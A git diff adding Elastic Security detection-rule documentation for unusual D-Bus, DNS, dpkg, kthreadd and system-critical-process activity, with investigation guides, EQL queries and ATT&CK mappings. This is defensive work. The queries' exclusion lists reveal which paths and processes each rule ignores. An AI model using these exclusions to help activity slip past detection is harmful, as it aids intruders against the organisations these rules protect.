https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-d-bus-daemon-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-d-bus-daemon-child-process.asciidoc new file mode 100644 index 0000000000..ab54ca445f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-d-bus-daemon-child-process.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-20-unusual-d-bus-daemon-child-process]] +=== Unusual D-Bus Daemon Child Process + +This rule detects when an unusual child process is spawned from the `dbus-daemon` parent process. The `dbus-daemon` process is a message bus system that provides a way for applications to talk to each other. Attackers may abuse this process to execute malicious code or escalate privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual D-Bus Daemon Child Process* + + +The D-Bus daemon is a crucial component in Linux environments, facilitating inter-process communication by allowing applications to exchange information. Adversaries may exploit this by spawning unauthorized child processes to execute malicious code or gain elevated privileges. The detection rule identifies anomalies by monitoring child processes of the D-Bus daemon, excluding known benign processes and paths, thus highlighting potential threats. + + +*Possible investigation steps* + + +- Review the process details to identify the unusual child process spawned from the dbus-daemon, focusing on the process name and executable path to determine if it is known or potentially malicious. +- Examine the command-line arguments (process.args) of the unusual child process to understand its intended function and assess if it aligns with typical usage patterns. +- Investigate the parent process arguments (process.parent.args) to confirm whether the dbus-daemon was running in a session context or another mode that might explain the unusual child process. +- Check the process start time and correlate it with other system events or logs to identify any related activities or anomalies occurring around the same time. +- Look into the user context under which the unusual child process was executed to determine if it was initiated by a legitimate user or potentially compromised account. +- Search for any network connections or file modifications associated with the unusual child process to identify potential data exfiltration or lateral movement activities. + + +*False positive analysis* + + +- Known benign processes such as gnome-keyring-daemon and abrt-dbus may trigger the rule. Users can exclude these processes by adding them to the exception list in the detection rule. +- Processes executed from common library paths like /usr/lib/ or /usr/local/lib/ are typically non-threatening. Users should review these paths and consider excluding them if they are consistently generating false positives. +- The dbus-daemon with the --session argument is generally safe. Users can ensure this argument is included in the exception criteria to prevent unnecessary alerts. +- Specific applications like software-properties-dbus and serviceHelper.py are known to be benign. Users should verify these applications' legitimacy in their environment and exclude them if they are frequently flagged. +- Regularly review and update the exception list to include any new benign processes or paths that are identified over time, ensuring the rule remains effective without generating excessive false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent potential lateral movement by the adversary. +- Terminate any suspicious child processes spawned by the dbus-daemon that are not recognized as legitimate or necessary for system operations. +- Conduct a thorough review of the affected system's logs to identify any unauthorized access or changes made by the suspicious process. +- Restore any altered or compromised system files from a known good backup to ensure system integrity. +- Update and patch the affected system and any related software to close vulnerabilities that may have been exploited. +- Implement stricter access controls and monitoring on the dbus-daemon to prevent unauthorized process execution in the future. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and +process.parent.name == "dbus-daemon" and process.args_count > 1 and not ( + process.parent.args == "--session" or + process.args in ("/usr/lib/software-properties/software-properties-dbus", "/usr/share/backintime/qt/serviceHelper.py") or + process.name in ("dbus-daemon-launch-helper", "gnome-keyring-daemon", "abrt-dbus", "aptd", "usb-creator-helper") or + process.executable like ( + "/usr/lib/*", "/usr/local/lib/*", "/usr/libexec/*", "/tmp/newroot/*", "/usr/sbin/setroubleshootd", + "/usr/share/setroubleshoot/SetroubleshootPrivileged.py", + "/var/lib/awx/.local/share/containers/storage/overlay/*/SetroubleshootPrivileged.py", + "/home/*/.local/share/containers/storage/overlay/*/SetroubleshootPrivileged.py", + "/bin/rpm", "/run/user/*/.bubblewrap/newroot/usr/libexec/rhsmd", "/opt/CrowdStrike/sandbox/usr/libexec/rhsmd", + "/run/user/*/.bubblewrap/*/setroubleshootd" + ) or + ( + process.name like "python*" and + process.args in ( + "/usr/share/usb-creator/usb-creator-helper", "/usr/sbin/aptd", "/usr/sbin/aptk", "/usr/bin/hp-pkservice", + "/usr/libexec/language-selector/ls-dbus-backend" + ) + ) or + (process.name == "perl" and process.args like "/usr/share/system-tools-backends-*.pl") or + ?process.working_directory like "/run/user/*/.bubblewrap/newroot/var/lib/gdm/" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-dns-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-dns-activity.asciidoc new file mode 100644 index 0000000000..36905c8821 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-dns-activity.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-20-unusual-dns-activity]] +=== Unusual DNS Activity + +A machine learning job detected a rare and unusual DNS query that indicate network activity with unusual DNS domains. This can be due to initial access, persistence, command-and-control, or exfiltration activity. For example, when a user clicks on a link in a phishing email or opens a malicious document, a request may be sent to download and run a payload from an uncommon domain. When malware is already running, it may send requests to an uncommon DNS domain the malware uses for command-and-control communication. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Command and Control +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual DNS Activity* + +DNS is crucial for translating domain names into IP addresses, enabling network communication. Adversaries exploit DNS by using rare domains for malicious activities like phishing or command-and-control. The 'Unusual DNS Activity' detection rule leverages machine learning to identify atypical DNS queries, signaling potential threats such as unauthorized access or data exfiltration. + + +*Possible investigation steps* + + +- Review the DNS query logs to identify the specific rare domain that triggered the alert and determine its reputation using threat intelligence sources. +- Analyze the source IP address associated with the unusual DNS query to identify the device or user responsible for the activity. +- Check for any recent changes or anomalies in the network activity of the identified device or user, such as unusual login times or access to sensitive data. +- Investigate any related alerts or logs that might indicate a broader pattern of suspicious activity, such as multiple rare domain queries or connections to known malicious IP addresses. +- Examine endpoint security logs on the affected device for signs of malware or unauthorized software that could be responsible for the unusual DNS activity. +- Assess whether the unusual DNS activity aligns with known tactics, techniques, and procedures (TTPs) associated with command-and-control or data exfiltration, referencing the MITRE ATT&CK framework for guidance. + + +*False positive analysis* + + +- Legitimate software updates may trigger unusual DNS queries as they contact uncommon domains for downloading updates. Users can create exceptions for known update servers to reduce false positives. +- Internal applications using dynamic DNS services might generate rare DNS queries. Identifying and whitelisting these services can help in minimizing false alerts. +- Third-party security tools or monitoring solutions may use unique DNS queries for their operations. Verify and exclude these tools from the detection rule to prevent unnecessary alerts. +- Cloud services often use diverse and uncommon domains for legitimate operations. Regularly review and update the list of trusted cloud service domains to avoid false positives. +- New or infrequently accessed legitimate websites may appear as unusual. Users should monitor and whitelist these domains if they are confirmed to be safe and necessary for business operations. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further communication with the suspicious DNS domain and potential data exfiltration. +- Conduct a thorough scan of the isolated system using updated antivirus and anti-malware tools to identify and remove any malicious software. +- Review and block the identified unusual DNS domain at the network perimeter to prevent other systems from communicating with it. +- Analyze logs and network traffic to identify any other systems that may have communicated with the same unusual DNS domain and apply similar containment measures. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Restore the affected system from a known good backup if malware removal is not possible or if system integrity is in question. +- Update and enhance DNS monitoring rules to detect similar unusual DNS activity in the future, ensuring rapid identification and response to potential threats. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Network Packet Capture + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Network Packet Capture Integration Setup* + +The Network Packet Capture integration sniffs network packets on a host and dissects known protocols. Monitoring the network traffic is critical to gaining observability and securing your environment — ensuring high levels of performance and security. The Network Packet Capture integration captures the network traffic between your application servers, decodes common application layer protocols and records the interesting fields for each transaction. + + +*The following steps should be executed in order to add the Elastic Agent System integration "network_traffic" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Network Packet Capture” and select the integration to see more details about it. +- Click “Add Network Packet Capture”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “network_traffic” to an existing or a new agent policy, and deploy the agent on your system from which network log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/network_traffic[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-dpkg-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-dpkg-execution.asciidoc new file mode 100644 index 0000000000..7fbd6e8727 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-dpkg-execution.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-20-unusual-dpkg-execution]] +=== Unusual DPKG Execution + +This rule detects the execution of the DPKG command by processes not associated with the DPKG package manager. The DPKG command is used to install, remove, and manage Debian packages on a Linux system. Attackers can abuse the DPKG command to install malicious packages on a system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.makeuseof.com/how-deb-packages-are-backdoored-how-to-detect-it/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Unusual DPKG Execution* + + +DPKG is a core utility in Debian-based Linux systems for managing software packages. While essential for legitimate software management, adversaries can exploit DPKG to install or manipulate packages for malicious purposes, potentially gaining persistence or executing unauthorized code. The detection rule identifies anomalies by flagging DPKG executions initiated by unexpected processes, which may indicate unauthorized package management activities. + + +*Possible investigation steps* + + +- Review the process details to identify the unexpected process that initiated the DPKG execution. Pay attention to the process.executable field to understand which script or binary was executed. +- Examine the process.parent.name and process.parent.executable fields to determine the parent process that launched the DPKG command. This can provide insights into whether the execution was part of a legitimate process chain or potentially malicious. +- Investigate the process.session_leader.name and process.group_leader.name fields to understand the broader context of the session and group leaders involved in the execution. This can help identify if the execution was part of a larger, coordinated activity. +- Check the system logs and any available audit logs around the time of the alert to gather additional context on the activities occurring on the system. Look for any other suspicious or related events. +- Assess the system for any unauthorized or unexpected package installations or modifications that may have occurred as a result of the DPKG execution. This can help determine if the system has been compromised. + + +*False positive analysis* + + +- System maintenance scripts may trigger the rule if they execute DPKG commands outside of typical package management processes. To handle this, identify and whitelist these scripts by adding their parent process names or executables to the exception list. +- Automated software update tools, other than the ones specified in the rule, might cause false positives. Review the tools used in your environment and consider adding their executables to the exclusion criteria if they are verified as safe. +- Custom administrative scripts that manage packages could be flagged. Ensure these scripts are reviewed for legitimacy and then exclude their process names or paths from the rule to prevent unnecessary alerts. +- Development or testing environments where package manipulation is frequent might generate alerts. In such cases, consider creating environment-specific exceptions to reduce noise while maintaining security in production systems. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized package installations or potential lateral movement by the adversary. +- Terminate any suspicious processes identified as executing the DPKG command from unexpected sources to halt any ongoing malicious activities. +- Conduct a thorough review of recently installed or modified packages on the affected system to identify and remove any unauthorized or malicious software. +- Restore the system from a known good backup if malicious packages have been installed and cannot be safely removed without compromising system integrity. +- Update and patch the affected system to ensure all software is up-to-date, reducing the risk of exploitation through known vulnerabilities. +- Implement stricter access controls and monitoring on package management utilities to prevent unauthorized use, ensuring only trusted processes can execute DPKG commands. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.executable : "/var/lib/dpkg/info/*" and process.session_leader.name != null and +process.group_leader.name != null and not ( + process.parent.name in ("dpkg", "dpkg-reconfigure", "frontend") or + process.session_leader.name == "dpkg" or + process.group_leader.name == "dpkg" or + process.parent.executable in ("/usr/share/debconf/frontend", "/usr/bin/unattended-upgrade") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-executable-file-creation-by-a-system-critical-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-executable-file-creation-by-a-system-critical-process.asciidoc new file mode 100644 index 0000000000..f07758c554 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-executable-file-creation-by-a-system-critical-process.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-20-unusual-executable-file-creation-by-a-system-critical-process]] +=== Unusual Executable File Creation by a System Critical Process + +Identifies an unexpected executable file being created or modified by a Windows system critical process, which may indicate activity related to remote code execution or other forms of exploitation. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Unusual Executable File Creation by a System Critical Process* + + +Windows internal/system processes have some characteristics that can be used to spot suspicious activities. One of these characteristics is file operations. + +This rule looks for the creation of executable files done by system-critical processes. This can indicate the exploitation of a vulnerability or a malicious process masquerading as a system-critical process. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.extension : ("exe", "dll") and + process.name : ("smss.exe", + "autochk.exe", + "csrss.exe", + "wininit.exe", + "services.exe", + "lsass.exe", + "winlogon.exe", + "userinit.exe", + "LogonUI.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Exploitation for Defense Evasion +** ID: T1211 +** Reference URL: https://attack.mitre.org/techniques/T1211/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc new file mode 100644 index 0000000000..66059ef4ad --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-unusual-execution-from-kernel-thread-kthreadd-parent.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-20-unusual-execution-from-kernel-thread-kthreadd-parent]] +=== Unusual Execution from Kernel Thread (kthreadd) Parent + +This rule detects suspicious child process from the kernel thread (kthreadd) parent process. Attackers may execute payloads from kernel space via kthreadd to perform actions on the host and evade detection. Through the usage of the new_terms rule type, this rule can identify uncommon child processes that may indicate the presence of a malicious process. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike + +*Version*: 4 + +*Rule authors*: + +* Elastic + 